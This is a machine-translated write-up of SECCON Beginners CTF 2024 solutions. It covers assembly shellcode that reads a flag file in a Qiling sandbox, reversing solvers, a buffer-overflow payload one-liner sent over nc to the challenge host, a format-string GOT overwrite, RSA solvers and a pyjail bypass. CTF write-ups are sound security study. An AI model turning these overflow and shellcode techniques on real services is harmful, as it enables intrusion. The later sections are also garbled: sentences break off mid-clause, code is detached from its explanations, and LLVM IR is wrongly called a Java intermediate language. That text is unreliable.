\n\nThis page has been machine-translated from the original page.
\n
I participated in SECCON Beginners CTF 2024, held starting June 15, 2024, with the team 0nePadding.
\nThe backend of this application is implemented with the following code.
\nimport os\nimport shutil\nimport time\nimport uuid\n\nfrom flask import Flask, render_template, request, session, redirect\nfrom qiling import Qiling\nfrom qiling.const import QL_ARCH, QL_OS, QL_VERBOSE\nfrom qiling.extensions import pipe\n\nfrom pwn import asm\n\napp = Flask(__name__)\n\napp.secret_key = os.urandom(24)\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n if \"id\" not in session:\n session[\"id\"] = \"1\"\n return render_template(\"index.html\", id=session[\"id\"])\n\n\n@app.route(\"/reset\", methods=[\"GET\"])\ndef reset():\n session[\"id\"] = \"1\"\n return redirect(\"/\")\n\n\n@app.route(\"/\", methods=[\"POST\"])\ndef submit():\n code = request.form[\"code\"]\n if len(code.strip()) == 0:\n return render_template(\"index.html\", id=session[\"id\"], error=\"Please input the code.\")\n if \";\" in code:\n return render_template(\"index.html\", id=session[\"id\"], error=\"Please remove the semicolon.\")\n lines = code.splitlines()\n if len(lines) > 25:\n return render_template(\n \"index.html\",\n id=session[\"id\"],\n error=\"Too many instructions. Please use less than 25 instructions.\",\n )\n for line in lines:\n try:\n order = line.split()[0]\n if order not in [\"mov\", \"push\", \"syscall\"]:\n return render_template(\n \"index.html\",\n id=session[\"id\"],\n error=\"Invalid instructions are included. Please use only mov, push, syscall.\",\n )\n except Exception:\n continue\n\n try:\n asm_code = asm(code, arch=\"amd64\", os=\"linux\")\n except Exception:\n return render_template(\n \"index.html\", id=session[\"id\"], error=\"Failed to assemble the code. Please check the code.\"\n )\n\n # Debug\n logpath = os.path.join(\"logs\", str(time.time()) + \".log\")\n logf = open(logpath, \"w\")\n logf.write(code + \"\\n\" * 2)\n logf.close()\n\n dirname = str(uuid.uuid4())\n os.mkdir(dirname)\n if session[\"id\"] == \"4\":\n f = open(os.path.join(dirname, \"flag.txt\"), \"w\")\n flag = os.environ.get(\"FLAG\", \"ctf4b{fake_flag}\")\n f.write(flag)\n f.close()\n ql = Qiling(\n code=asm_code,\n rootfs=dirname,\n archtype=QL_ARCH.X8664,\n ostype=QL_OS.LINUX,\n verbose=QL_VERBOSE.DEFAULT,\n log_file=logpath,\n )\n\n ql.os.stdout = pipe.SimpleOutStream(0)\n\n try:\n ql.run()\n except Exception:\n return render_template(\n \"index.html\",\n id=session[\"id\"],\n error=\"Failed to execute the code. Please check the code.\",\n )\n\n shutil.rmtree(dirname, ignore_errors=True)\n\n try:\n stdout=ql.os.stdout.read(1024).decode().strip()\n except Exception:\n stdout = str(ql.os.stdout.read(1024))\n\n message = \"Successfully executed the code!\"\n if session[\"id\"] == \"1\" and ql.arch.regs.read(\"rax\") == 0x123:\n message = \"Congratulation! Let's proceed to the next stage!\"\n session[\"id\"] = \"2\"\n elif session[\"id\"] == \"2\" and ql.arch.regs.read(\"rax\") == 0x123 and ql.arch.stack_pop() == 0x123:\n message = \"Congratulation! Let's proceed to the next stage!\"\n session[\"id\"] = \"3\"\n elif session[\"id\"] == \"3\" and \"Hello\" in stdout:\n message = \"Congratulation! Let's proceed to the next stage!\"\n session[\"id\"] = \"4\"\n elif session[\"id\"] == \"4\" and os.getenv(\"FLAG\", \"ctf4b{fake_flag}\") in stdout:\n message = \"Congratulation! You have completed all stages!\"\n\n return render_template(\n \"index.html\",\n id=session[\"id\"],\n message=message,\n stdout=stdout,\n rax=hex(ql.arch.regs.read(\"rax\")),\n rbx=hex(ql.arch.regs.read(\"rbx\")),\n rcx=hex(ql.arch.regs.read(\"rcx\")),\n rdx=hex(ql.arch.regs.read(\"rdx\")),\n rsi=hex(ql.arch.regs.read(\"rsi\")),\n rdi=hex(ql.arch.regs.read(\"rdi\")),\n rbp=hex(ql.arch.regs.read(\"rbp\")),\n rip=hex(ql.arch.regs.read(\"rip\")),\n rsp=hex(ql.arch.regs.read(\"rsp\")),\n )\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080)As you can see from this code, the input assembly code (only mov, push, and syscall are allowed; maximum 25 lines) is assembled into binary using asm(code, arch=\"amd64\", os=\"linux\") and executed by Qiling.
The application has four stages in total; reaching Stage 4 makes flag.txt readable.
\nFirst, I set up a local testing environment using the provided Dockerfile.
\nIn my environment, docker-compose build failed with a TypeError: HTTPConnection.request() got an unexpected keyword argument 'chunked' error, so I’m noting the workaround here.
$ docker-compose build\nTraceback (most recent call last):\n File \"/usr/lib/python3/dist-packages/docker/api/client.py\", line 214, in _retrieve_server_version\n return self.version(api_version=False)[\"ApiVersion\"]\n File \"/usr/lib/python3/dist-packages/docker/api/daemon.py\", line 181, in version\n return self._result(self._get(url), json=True)\n File \"/usr/lib/python3/dist-packages/docker/utils/decorators.py\", line 46, in inner\n return f(self, *args, **kwargs)\n File \"/usr/lib/python3/dist-packages/docker/api/client.py\", line 237, in _get\n return self.get(url, **self._set_request_timeout(kwargs))\n File \"/usr/local/lib/python3.10/dist-packages/requests/sessions.py\", line 600, in get\n return self.request(\"GET\", url, **kwargs)\n File \"/usr/local/lib/python3.10/dist-packages/requests/sessions.py\", line 587, in request\n resp = self.send(prep, **send_kwargs)\n File \"/usr/local/lib/python3.10/dist-packages/requests/sessions.py\", line 701, in send\n r = adapter.send(request, **kwargs)\n File \"/usr/local/lib/python3.10/dist-packages/requests/adapters.py\", line 486, in send\n resp = conn.urlopen(\n File \"/usr/local/lib/python3.10/dist-packages/urllib3/connectionpool.py\", line 790, in urlopen\n response = self._make_request(\n File \"/usr/local/lib/python3.10/dist-packages/urllib3/connectionpool.py\", line 496, in _make_request\n conn.request(\nTypeError: HTTPConnection.request() got an unexpected keyword argument 'chunked'\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File \"/usr/bin/docker-compose\", line 33, in <module>\n sys.exit(load_entry_point('docker-compose==1.29.2', 'console_scripts', 'docker-compose')())\n File \"/usr/lib/python3/dist-packages/compose/cli/main.py\", line 81, in main\n command_func()\n File \"/usr/lib/python3/dist-packages/compose/cli/main.py\", line 200, in perform_command\n project = project_from_options('.', options)\n File \"/usr/lib/python3/dist-packages/compose/cli/command.py\", line 60, in project_from_options\n return get_project(\n File \"/usr/lib/python3/dist-packages/compose/cli/command.py\", line 152, in get_project\n client = get_client(\n File \"/usr/lib/python3/dist-packages/compose/cli/docker_client.py\", line 41, in get_client\n client = docker_client(\n File \"/usr/lib/python3/dist-packages/compose/cli/docker_client.py\", line 170, in docker_client\n client = APIClient(use_ssh_client=not use_paramiko_ssh, **kwargs)\n File \"/usr/lib/python3/dist-packages/docker/api/client.py\", line 197, in __init__\n self._version = self._retrieve_server_version()\n File \"/usr/lib/python3/dist-packages/docker/api/client.py\", line 221, in _retrieve_server_version\n raise DockerException(\ndocker.errors.DockerException: Error while fetching server API version: HTTPConnection.request() got an unexpected keyword argument 'chunked'Since the above error appeared, I resolved it by downgrading the requests package to version 2.29.0 as shown below.
\npip install requests==2.29.0As noted in the issue below, this error is caused by a compatibility problem with the requests package.
\nReference: urllib3 v2 incompatibility · Issue #3113 · docker/docker-py
\nFirst, I’ll clear Stage 1 and Stage 2.
\nStage 1 is cleared by setting RAX to 0x123, and Stage 2 by placing 0x123 on the top of the stack.
\nBy executing the following assembly code in sequence, I was able to advance to Stage 3.
\nmov rax,0x123\npush raxThe clear condition for Stage 3 was to print the string Hello to standard output.
This condition was cleared with the following assembly code.
\nThis code places the string olleH (0x6f6c6c6548) in little-endian form on the stack top, passes that address to RSI, and uses syscall number 1 (write) to output Hello to standard output.
mov rax, 1\nmov rdi, 1\nmov rbx, 0x6f6c6c6548\npush rbx\nmov rsi, rsp\nmov rdx, 5\nsyscallReference: write(2) — manpages-dev — Debian unstable — Debian Manpages
\nReference: Searchable Linux Syscall Table for x86_64
\nThe solution itself is simple, but there were several pitfalls I encountered on the way to this assembly code.
\nFirst, in my initial code I tried to push the immediate value 0x6f6c6c6548 onto the stack with push 0x6f6c6c6548, which produced the following error.
[ERROR] There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-64', '-o', '/tmp/pwn-asm-ong0t78p/step2', '/tmp/pwn-asm-ong0t78p/step1']:\n It had the exitcode 1.\n It had this on stdout:\n /tmp/pwn-asm-ong0t78p/step1: Assembler messages:\n /tmp/pwn-asm-ong0t78p/step1:10: Error: operand type mismatch for `push'\n\n[ERROR] An error occurred while assembling:\n 1: .section .shellcode,\"awx\"\n 2: .global _start\n 3: .global __start\n 4: .p2align 2\n 5: _start:\n 6: __start:\n 7: .intel_syntax noprefix\n 8: mov rax, 1\n 9: mov rdi, 1\n 10: push 0x6f6c6c6548\n 11: mov rsi, rsp\n 12: mov rdx, 9\n 13: syscall\n Traceback (most recent call last):\n File \"/usr/local/lib/python3.10/dist-packages/pwnlib/asm.py\", line 701, in asm\n _run(assembler + ['-o', step2, step1])\n File \"/usr/local/lib/python3.10/dist-packages/pwnlib/asm.py\", line 419, in _run\n log.error(msg, *args)\n File \"/usr/local/lib/python3.10/dist-packages/pwnlib/log.py\", line 439, in error\n raise PwnlibException(message % args)\n pwnlib.exception.PwnlibException: There was an error running ['/usr/bin/x86_64-linux-gnu-as', '-64', '-o', '/tmp/pwn-asm-ong0t78p/step2', '/tmp/pwn-asm-ong0t78p/step1']:\n It had the exitcode 1.\n It had this on stdout:\n /tmp/pwn-asm-ong0t78p/step1: Assembler messages:\n /tmp/pwn-asm-ong0t78p/step1:10: Error: operand type mismatch for `push'This error occurs because the push instruction does not support 64-bit immediate operands.
\nReference: PUSH — Push Word, Doubleword, or Quadword Onto the Stack
\nReference: Does pwntools cannot asm() format like ” push 64bit-number” · Issue #1228 · Gallopsled/pwntools
\nAs a result, using push 0x6c6c6548 in the same assembly code to output the string Hell was possible.
To work around this limitation, I first load the value into a general-purpose register and then push that register, storing the 64-bit value on the stack top.
\nIncidentally, the reason for not doing it the following way is that a 64-bit slot would be allocated on the stack regardless, making the actually outputted string Hell\\x00\\x00o instead of Hello.
push 0x0000006f\npush 0x6c6c6548Now that I’ve reached Stage 4, it’s finally time to retrieve the flag.
\nAs can be seen from the challenge code, upon reaching Stage 4, flag.txt is created inside a directory named with a random UUID.
\ndirname = str(uuid.uuid4())\nos.mkdir(dirname)\nif session[\"id\"] == \"4\":\n f = open(os.path.join(dirname, \"flag.txt\"), \"w\")\n flag = os.environ.get(\"FLAG\", \"ctf4b{fake_flag}\")\n f.write(flag)\n f.close()\n\nql = Qiling(\n code=asm_code,\n rootfs=dirname,\n archtype=QL_ARCH.X8664,\n ostype=QL_OS.LINUX,\n verbose=QL_VERBOSE.DEFAULT,\n log_file=logpath,\n)As indicated by the rootfs=dirname argument to Qiling, this directory serves as the root filesystem during execution.
Reference: qltool - Qiling Framework Documentation
\nTherefore, we can obtain the flag simply by opening flag.txt, reading its contents, and printing them.
\nThe solver is as follows.
\nmov rax, 0x7478742e67616c66\npush 0x0\npush rax\nmov rax, 2\nmov rdi, rsp\nmov rsi, 0\nmov rdx, 0\nsyscall\n\nmov rdi, rax\nmov rax, 0\nmov rsi, rsp\nmov rdx, 53\nsyscall\n\nmov rax, 1\nmov rdi, 1\nmov rsi, rsp\nmov rdx, 53\nsyscallThe system calls used, in order from top to bottom, are open, read, and write.
\nThis allowed me to identify the correct flag.
\nIf the assembly code doesn’t behave as expected, it’s helpful to change the verbose value to QL_VERBOSE.DEBUG and test locally.
ql = Qiling(\n code=asm_code,\n rootfs=dirname,\n archtype=QL_ARCH.X8664,\n ostype=QL_OS.LINUX,\n verbose=QL_VERBOSE.DEBUG,\n)Enabling debug mode allows you to easily view detailed information such as system call invocations and their results, as shown below, which is very helpful.
\n\n\nIt’s a file format I’ve never seen before, but looking at its contents might reveal something…?
\n
The challenge binary is a source that looks like Java intermediate language (LLVM IR).
\nAt a glance, it’s clear that the code simply XORs each character of the flag with the corresponding value defined in @__const.main.key, then XORs the result with the next key value and checks whether the outcome is 0.
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16\n@.str = private unnamed_addr constant [14 x i8] c\"Input FLAG : \\00\", align 1\n@.str.1 = private unnamed_addr constant [3 x i8] c\"%s\\00\", align 1\n@.str.2 = private unnamed_addr constant [22 x i8] c\"Correct! FLAG is %s.\\0A\\00\", align 1\n@.str.3 = private unnamed_addr constant [16 x i8] c\"Incorrect FLAG.\\00\", align 1\n\n; Function Attrs: noinline nounwind optnone uwtable\ndefine dso_local i32 @main() #0 {\n %1 = alloca i32, align 4\n %2 = alloca [70 x i8], align 16\n %3 = alloca [50 x i32], align 16\n %4 = alloca i32, align 4\n %5 = alloca i32, align 4\n %6 = alloca i64, align 8\n store i32 0, i32* %1, align 4\n %7 = bitcast [50 x i32]* %3 to i8*\n call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)\n %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))\n %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0\n %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)\n %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0\n %12 = call i64 @strlen(i8* noundef %11) #4\n %13 = icmp eq i64 %12, 49\n br i1 %13, label %14, label %48\n\n14: ; preds = %0\n store i32 0, i32* %4, align 4\n store i32 0, i32* %5, align 4\n store i64 0, i64* %6, align 8\n br label %15\n\n15: ; preds = %38, %14\n %16 = load i64, i64* %6, align 8\n %17 = icmp ult i64 %16, 49\n br i1 %17, label %18, label %41\n\n18: ; preds = %15\n %19 = load i64, i64* %6, align 8\n %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19\n %21 = load i8, i8* %20, align 1\n %22 = sext i8 %21 to i32\n %23 = load i64, i64* %6, align 8\n %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23\n %25 = load i32, i32* %24, align 4\n %26 = xor i32 %22, %25\n %27 = load i64, i64* %6, align 8\n %28 = add i64 %27, 1\n %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28\n %30 = load i32, i32* %29, align 4\n %31 = xor i32 %26, %30\n store i32 %31, i32* %5, align 4\n %32 = load i32, i32* %5, align 4\n %33 = icmp eq i32 %32, 0\n br i1 %33, label %34, label %37\n\n34: ; preds = %18\n %35 = load i32, i32* %4, align 4\n %36 = add nsw i32 %35, 1\n store i32 %36, i32* %4, align 4\n br label %37\n\n37: ; preds = %34, %18\n br label %38\n\n38: ; preds = %37\n %39 = load i64, i64* %6, align 8\n %40 = add i64 %39, 1\n store i64 %40, i64* %6, align 8\n br label %15, !llvm.loop !6\n\n41: ; preds = %15\n %42 = load i32, i32* %4, align 4\n %43 = icmp eq i32 %42, 49\n br i1 %43, label %44, label %47\n\n44: ; preds = %41\n %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0\n %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)\n store i32 0, i32* %1, align 4\n br label %50\n\n47: ; preds = %41\n br label %48\n\n48: ; preds = %47, %0\n %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))\n store i32 1, i32* %1, align 4\n br label %50\n\n50: ; preds = %48, %44\n %51 = load i32, i32* %1, align 4\n ret i32 %51\n}Therefore, by using the following solver to repeatedly XOR each key with the next key value, the flag could be easily identified.
\nkey = [119,20,96,6,50,80,43,28,117,22,125,34,21,116,23,124,35,18,35,85,56,103,14,96,20,39,85,56,93,57,8,60,72,45,114,0,101,21,103,84,39,66,44,27,122,77,36,20,122,7]\nfor i in range(1,len(key)):\n print(chr(key[i-1]^key[i]), end=\"\")\n \n# ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}\n\nThere seem to be a lot of unused functions…?
\n
Analyzing the challenge binary, the main function doesn’t perform any particularly notable operations, but a chain of functions is registered in .init_array.
The next function checks whether the length of the received command-line argument is 0x20 characters.
\nThe subsequent functions extract 2 characters from a hardcoded byte sequence and verify that they match 2 characters of the input string.
\nI extracted the values being verified from the binary and created the following solver.
\nRunning this solver identified the correct flag as ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}.
flag = \"\"\nf = []\nf.append(\"c0_d4yk261hbosje893w5igzfrvaumqlptx7n\")\nf.append(\"oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5\")\nf.append(\"lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w\")\nf.append(\"9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo\")\nf.append(\"r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3\")\nf.append(\"tufij3cykhrsl841qo6_0dwg529zanmbpvxe7\")\nf.append(\"b0i21csjhqug_3erat9f6mx854pyol7zkvdwn\")\nf.append(\"17zv5h6wjgbqerastioc294n0lxu38fdk_ypm\")\nf.append(\"1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx\")\nf.append(\"3icj_go9qd0svxubefh14ktywpzma2l7nr685\")\nf.append(\"c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh\")\nf.append(\"l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o\")\nf.append(\"l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch\")\nf.append(\"aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es\")\nf.append(\"3mq16t9yfs842cbvlw5j7k0prohengduzx_ai\")\nf.append(\"_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a\")\n\nfor i in range(16):\n flag += f[i][2*i] + f[i][2*i+1]\n\nprint(flag)\n# c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!\n\nI tried creating a custom system call for flag checking.
\n
Analyzing the challenge binary, I found that it first calls fork, with the child process creating a copy of itself as a child process.
\nOn the child process side, the check function shown below is called, and it appears to verify the flag by executing system call 0xcafe with the received flag string as an argument.
\nThis function is defined to call the following code when system call 0xcafe is triggered.
\nLooking at the decryption function implementation, it was clearly RC4, so I renamed it to rc4.
\nLet’s check the stack and return address. This was super-easy challenge #2. The following code is provided for the challenge binary. It’s clear that jumping to the win function will give us the flag. Looking at the protections, there’s nothing other than NX, so a simple buffer overflow to reach the win function should work. Using the results above, I sent the payload created with the following command to obtain the flag. This was super-easy challenge #3. The following source code is provided for the challenge binary. At a glance, it’s clear there is a format string bug (FSB) vulnerability. Also, since PIE is disabled and it’s Partial RELRO, a GOT override should be straightforward. By the way, I used fmtstr_payload here for convenience, but for more details on FSB and handcrafting payloads, please see the article below. Reference: A Beginner CTFer’s Super Introduction to Pwn - FSB Basics and ROP Techniques - Frog’s Secret Base Using a safe prime makes RSA secure, doesn’t it? I solved a Crypto challenge for the first time in a while. The following script along with n, e, and c are provided for the challenge. Since q is generated from p, n can be expressed as a quadratic equation in one variable p. Therefore, by using the following solver to solve the equation for p and q, I was able to decrypt the ciphertext and obtain the flag. It seems there are special conditions on the variables used in the RSA encryption…? The following code along with n, e, c, and ab are provided for the challenge. Looking at this code, a, b, and x are all perfect squares; a and b are p and q minus x respectively; and both are divisible by a large number (i.e., mod = 0). Since ab is the product of perfect squares a and b, factoring it allows us to narrow down the possible values of a and b. Using the hint values provided and factordb, I found that there are 14 possible patterns for the values of a and b. Also, since p = a+x and q = b+x, and pq = n, the equation `x**2 + (a+b)x + (ab-n) = 0` holds. Since there are only 14 patterns for a and b to brute-force, we can identify the correct a, b, and x by finding the case where the solution x is a positive integer and a perfect square. Using the identified a, b, and x, we can also determine p and q, then decrypt the ciphertext to obtain the flag. Finally, I obtained the flag with the following solver. Be careful with comments! nc commentator.beginners.seccon.games 4444 The following code is provided for the challenge. It appears to be an application that prepends Since Python’s input function reads data up to However, in this challenge, After trying various inputs to find a way to bypass the comment-out, I shifted my focus to whether any operation could be performed even while the code is commented out. As a result, although the shebang wasn’t particularly useful since the script is executed via When I looked into the benefits of specifying an encoding with This PEP proposes to introduce a syntax to declare the encoding of a Python source file. The encoding information is then used by the Python parser to interpret the file using the given encoding. Most notably this enhances the interpretation of Unicode literals in the source code and makes it possible to write Unicode literals using e.g. UTF-8 directly in an Unicode aware editor. Reference: PEP 263 – Defining Python Source Code Encodings | peps.python.org Reference: codecs — Codec Registry and Base Classes — Python 3.12.4 Documentation It appears that specifying the source code encoding appropriately enables the interpretation of Unicode literals written in UTF-8. So, I entered Providing this input allows us to identify the correct flag. Incidentally, there was also a similar pyjail challenge in another CTF where the flag could be obtained using Reference: justCTF 2023 WriteUps | 廢文集中區 As for the kernel exploitation challenge that appeared again this year, I was completely stuck on it, so I’ll work on it another day.simpleoverwrite(Pwn)
\n\n
\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nvoid win() {\n char buf[100];\n FILE *f = fopen(\"./flag.txt\", \"r\");\n fgets(buf, 100, f);\n puts(buf);\n}\n\nint main() {\n char buf[10] = {0};\n printf(\"input:\");\n read(0, buf, 0x20);\n printf(\"Hello, %s\\n\", buf);\n printf(\"return to: 0x%lx\\n\", *(uint64_t *)(((void *)buf) + 18));\n return 0;\n}\n\n__attribute__((constructor)) void init() {\n setvbuf(stdin, NULL, _IONBF, 0);\n setvbuf(stdout, NULL, _IONBF, 0);\n alarm(120);\n}python3 -c 'import sys; from pwn import *; sys.stdout.buffer.write(b\"A\"*0x12 + p64(0x401186))' | nc simpleoverwrite.beginners.seccon.games 9001pure-and-easy(Pwn)
\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main() {\n char buf[0x100] = {0};\n printf(\"> \");\n read(0, buf, 0xff);\n printf(buf);\n exit(0);\n}\n\nvoid win() {\n char buf[0x50];\n FILE *fp = fopen(\"./flag.txt\", \"r\");\n fgets(buf, 0x50, fp);\n puts(buf);\n}\n\n__attribute__((constructor)) void init() {\n setvbuf(stdin, NULL, _IONBF, 0);\n setvbuf(stdout, NULL, _IONBF, 0);\n alarm(120);\n}Safe Prime(Crypto)
\n\n
\nimport os\nfrom Crypto.Util.number import getPrime, isPrime\n\nFLAG = os.getenv(\"FLAG\", \"ctf4b{*** REDACTED ***}\").encode()\nm = int.from_bytes(FLAG, 'big')\n\nwhile True:\n p = getPrime(512)\n q = 2 * p + 1\n if isPrime(q):\n break\n\nn = p * q\ne = 65537\nc = pow(m, e, n)\n\nprint(f\"{n = }\")\nprint(f\"{c = }\")from sympy import symbols, Eq, solve, mod_inverse\nfrom Crypto.Util.number import long_to_bytes\n\ne = 65537\np = symbols('p')\nc = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861\nn = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291\nequation = Eq(2*p**2 + p, n)\nsolutions = solve(equation, p)\np = solutions[1]\nq = q = 2 * p + 1\nassert (p * q) == n\n\nphi_n = (p - 1) * (q - 1)\nd = mod_inverse(e, phi_n)\nm = pow(c, d, n)\nprint(long_to_bytes(m))\n# ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}math(Crypto)
\n\n
\nfrom Crypto.Util.number import bytes_to_long, isPrime\nfrom secret import (\n x,\n p,\n q,\n) # x, p, q are secret values, please derive them from the provided other values.\nimport gmpy2\n\n\ndef is_square(n: int):\n return gmpy2.isqrt(n) ** 2 == n\n\n\nassert isPrime(p)\nassert isPrime(q)\nassert p != q\n\na = p - x\nb = q - x\nassert is_square(x) and is_square(a) and is_square(b)\n\nn = p * q\ne = 65537\nflag = b\"ctf4b{dummy_f14g}\"\nmes = bytes_to_long(flag)\nc = pow(mes, e, n)\n\nprint(f\"n = {n}\")\nprint(f\"e = {e}\")\nprint(f\"cipher = {c}\")\nprint(f\"ab = {a * b}\")\n\nassert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0\nassert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0import gmpy2\nimport sympy as sp\nfrom Crypto.Util.number import long_to_bytes, isPrime\n\nn = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289\nab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289\n\nBa = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169\nBb = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661\nassert gmpy2.mpz(ab) % Ba == 0\nassert gmpy2.mpz(ab) % Bb == 0\n\nr = gmpy2.mpz(ab) // Ba // Bb\nassert r == 168602179130542941829360938763588913033950728808204687738344939756690772499463147969992071622543050423641037178339406288176679147723646123266772165646828805533748632218062968267049753205615282207629849772408015254265200980724449082839150022450439661030563736824487531287491910398220288816325848224837808525851343383555765621\n# http://factordb.com/index.php?query=168602179130542941829360938763588913033950728808204687738344939756690772499463147969992071622543050423641037178339406288176679147723646123266772165646828805533748632218062968267049753205615282207629849772408015254265200980724449082839150022450439661030563736824487531287491910398220288816325848224837808525851343383555765621\n\nt1 = 306606827773 ** 2\nt2 = 199 ** 2\nt3 = 173 ** 2\nt4 = 3 ** 2\nassert Ba**2 * Bb**2 * t1 * t2 * t3 * t4 == ab\n\ndef is_square(n: int):\n return gmpy2.isqrt(n) ** 2 == n\n\ndef is_positive_integer_and_perfect_square(num):\n if num.is_integer and num > 0:\n sqrt_num = sp.sqrt(num)\n return sqrt_num.is_integer\n return False\n\nL = \\\n[([t2], [t1, t3, t4]),\n([t2, t3], [t1, t4]),\n([t1, t2, t3], [t4]),\n([t1, t2], [t3, t4]),\n([t1], [t3, t2, t4]),\n([t4], [t1, t2, t3]),\n([t3], [t1, t2, t4]),\n([t1, t3], [t2, t4]),\n([t2, t4], [t1, t3]),\n([t4, t3], [t1, t2]),\n([t4, t1, t3], [t2]),\n([t4, t2, t3], [t1]),\n([t1, t4], [t2, t3]),\n([t1, t2, t4], [t3])]\n\nfor l in L:\n a = Ba**2\n b = Bb**2\n for A in l[0]:\n a *= A\n for B in l[1]:\n b *= B\n\n assert is_square(a) and is_square(b)\n assert a*b == ab\n\n x = sp.symbols('x')\n A = a + b\n B = ab - n\n equation = x**2 + A*x + B\n solutions = sp.solve(equation, x)\n for solution in solutions:\n if sp.im(solution) == 0:\n real_solution = sp.re(solution)\n if is_positive_integer_and_perfect_square(real_solution):\n print(f\"a={a},b={b},x={real_solution}\")\n\na = 7878824508023825320620552438859131751341011236435661361507465408511567856339128586549369157062948927445512194472763840898824746924636029850659802261912150719575815528250042476759316872507696855084778513881881419453874766724167271062172560745165185117184785529887592443222251487197342298902245870192371299449\nb = 3597993939706753790208197378148848949822043309769682578959924290719006420996423496659961817582141773260972861724771414278651046463502978594910794197098988322222621708534481711002211659109357402539392364289580131703038942827590851390068976436194200123404980430263753899361953534498940931686689517154815683161\nx = 10221013321700464817330531356688256100\np = a + x\nq = b + x\ne = 65537\nc = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474\nassert isPrime(p)\nassert isPrime(q)\nassert p != q\nassert n == p * q\n\nphi_n = (p - 1) * (q - 1)\nd = sp.mod_inverse(e, phi_n)\nm = pow(c, d, n)\nprint(long_to_bytes(m))commentator(Misc)
\n\n
